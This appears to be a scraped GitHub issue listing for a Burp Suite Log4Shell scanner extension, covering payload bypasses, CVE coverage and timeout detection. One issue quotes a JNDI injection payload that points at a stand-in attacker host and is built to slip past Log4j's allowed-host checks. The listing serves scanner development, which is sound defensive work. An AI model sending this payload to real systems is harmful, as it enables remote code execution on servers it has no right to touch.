burp-log4shell

burp-log4shell copied to clipboard

Additional payloads for allowedLdapHost and allowedClasses bypass

2

This will require improved payloads: https://twitter.com/marcioalm/status/1471740771581652995 Example from the twitter: ``` ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} ```

v-p-b

CVE coverage

1

Hi, Could you please confirm whether Log4Shell Scanner Burpsuite Pro Addon is capable to identify log4j vulnerabilities of CVE-2021-44832, CVE-2021-45105 & CVE-2021-45046. Thanks Saleem Choudary

saleem024

Detecting delayed responses/timeouts?

3

I wonder if it would make sense to generate a low confidence issue if the answer takes >29s to arrive (I've read that Java timeouts after 31s and Burp drops...

v-p-b